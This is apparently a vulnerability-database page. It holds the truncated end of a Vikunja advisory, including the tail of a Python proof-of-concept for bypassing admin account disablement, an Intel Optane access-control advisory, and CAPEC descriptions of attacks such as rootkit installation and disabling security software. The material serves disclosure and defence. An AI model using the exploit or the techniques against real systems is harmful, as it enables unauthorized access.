200)\")\n\n    cursor.execute(\"SELECT status FROM users WHERE username = %s;\", (username,))\n    print(f\"Final DB Status: {cursor.fetchone()[0]} (0 = Active)\")\n    conn.close()\n\nif __name__ == \"__main__\":\n    main()\n```\n\n### Impact\n\n* **Authentication \u0026 Authorization Bypass:** An attacker can unilaterally reverse an administrative security decision.\n* **Integrity \u0026 Confidentiality Impact:**  The attacker can regain full access to resources and functionality that were previously restricted due to the account being disabled.",
  "id": "GHSA-vq4q-79hh-q767",
  "modified": "2026-03-25T20:53:32Z",
  "published": "2026-03-20T17:25:47Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/security/advisories/GHSA-vq4q-79hh-q767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33316"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/049f4a6be46f9460bd516f489ef9f569574bc70d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/go-vikunja/vikunja/commit/d8570c603da1f26635ce6048d6af85ede827abfb"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/go-vikunja/vikunja"
    },
    {
      "type": "WEB",
      "url": "https://vikunja.io/changelog/vikunja-v2.2.0-was-released"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Vikunja\u2019s Improper Access Control Enables Bypass of Administrator-Imposed Account Disablement "
}

GHSA-VQ4V-4WP7-96X4

Vulnerability from github – Published: 2025-02-20 15:31 – Updated: 2025-02-20 15:31
VLAI
Details

Improper access control in some Intel(R) Optane(TM) PMem software before versions 01.00.00.3547, 02.00.00.3915, 03.00.00.0483 may allow an athenticated user to potentially enable escalation of privilege via local access.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2023-27517"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-14T14:15:47Z",
    "severity": "HIGH"
  },
  "details": "Improper access control in some Intel(R) Optane(TM) PMem software before versions 01.00.00.3547, 02.00.00.3915, 03.00.00.0483 may allow an athenticated user to potentially enable escalation of privilege via local access.",
  "id": "GHSA-vq4v-4wp7-96x4",
  "modified": "2025-02-20T15:31:06Z",
  "published": "2025-02-20T15:31:06Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-27517"
    },
    {
      "type": "WEB",
      "url": "https://www.intel.com/content/www/us/en/security-center/advisory/intel-sa-00948.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts

An adversary leverages the capability to execute their own script by embedding it within other scripts that the target software is likely to execute due to programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts.

CAPEC-441: Malicious Logic Insertion

An adversary installs or adds malicious logic (also known as malware) into a seemingly benign component of a fielded system. This logic is often hidden from the user of the system and works behind the scenes to achieve negative impacts. With the proliferation of mass digital storage and inexpensive multimedia devices, Bluetooth and 802.11 support, new attack vectors for spreading malware are emerging for things we once thought of as innocuous greeting cards, picture frames, or digital projectors. This pattern of attack focuses on systems already fielded and used in operation as opposed to systems and their components that are still under development and part of the supply chain.

CAPEC-478: Modification of Windows Service Configuration

An adversary exploits a weakness in access control to modify the execution parameters of a Windows service. The goal of this attack is to execute a malicious binary in place of an existing service.

CAPEC-479: Malicious Root Certificate

An adversary exploits a weakness in authorization and installs a new root certificate on a compromised system. Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials.

CAPEC-502: Intent Spoof

An adversary, through a previously installed malicious application, issues an intent directed toward a specific trusted application's component in an attempt to achieve a variety of different objectives including modification of data, information disclosure, and data injection. Components that have been unintentionally exported and made public are subject to this type of an attack. If the component trusts the intent's action without verififcation, then the target application performs the functionality at the adversary's request, helping the adversary achieve the desired negative technical impact.

CAPEC-503: WebView Exposure

An adversary, through a malicious web page, accesses application specific functionality by leveraging interfaces registered through WebView's addJavascriptInterface API. Once an interface is registered to WebView through addJavascriptInterface, it becomes global and all pages loaded in the WebView can call this interface.

CAPEC-536: Data Injected During Configuration

An attacker with access to data files and processes on a victim's system injects malicious data into critical operational data during configuration or recalibration, causing the victim's system to perform in a suboptimal manner that benefits the adversary.

CAPEC-546: Incomplete Data Deletion in a Multi-Tenant Environment

An adversary obtains unauthorized information due to insecure or incomplete data deletion in a multi-tenant environment. If a cloud provider fails to completely delete storage and data from former cloud tenants' systems/resources, once these resources are allocated to new, potentially malicious tenants, the latter can probe the provided resources for sensitive information still there.

CAPEC-550: Install New Service

When an operating system starts, it also starts programs called services or daemons. Adversaries may install a new service which will be executed at startup (on a Windows system, by modifying the registry). The service name may be disguised by using a name from a related operating system or benign software. Services are usually run with elevated privileges.

CAPEC-551: Modify Existing Service

When an operating system starts, it also starts programs called services or daemons. Modifying existing services may break existing services or may enable services that are disabled/not commonly used.

CAPEC-552: Install Rootkit

An adversary exploits a weakness in authentication to install malware that alters the functionality and information provide by targeted operating system API calls. Often referred to as rootkits, it is often used to hide the presence of programs, files, network connections, services, drivers, and other system components.

CAPEC-556: Replace File Extension Handlers

When a file is opened, its file handler is checked to determine which program opens the file. File handlers are configuration properties of many operating systems. Applications can modify the file handler for a given file extension to call an arbitrary program when a file with the given extension is opened.

CAPEC-558: Replace Trusted Executable

An adversary exploits weaknesses in privilege management or access control to replace a trusted executable with a malicious version and enable the execution of malware when that trusted executable is called.

CAPEC-562: Modify Shared File

An adversary manipulates the files in a shared location by adding malicious programs, scripts, or exploit code to valid content. Once a user opens the shared content, the tainted content is executed.

CAPEC-563: Add Malicious File to Shared Webroot

An adversaries may add malicious content to a website through the open file share and then browse to that content with a web browser to cause the server to execute the content. The malicious content will typically run under the context and permissions of the web server process, often resulting in local system or administrative privileges depending on how the web server is configured.

CAPEC-564: Run Software at Logon

Operating system allows logon scripts to be run whenever a specific user or users logon to a system. If adversaries can access these scripts, they may insert additional code into the logon script. This code can allow them to maintain persistence or move laterally within an enclave because it is executed every time the affected user or users logon to a computer. Modifying logon scripts can effectively bypass workstation and enclave firewalls. Depending on the access configuration of the logon scripts, either local credentials or a remote administrative account may be necessary.

CAPEC-578: Disable Security Software

An adversary exploits a weakness in access control to disable security tools so that detection does not occur. This can take the form of killing processes, deleting registry keys so that tools do not start at run time, deleting log files, or other methods.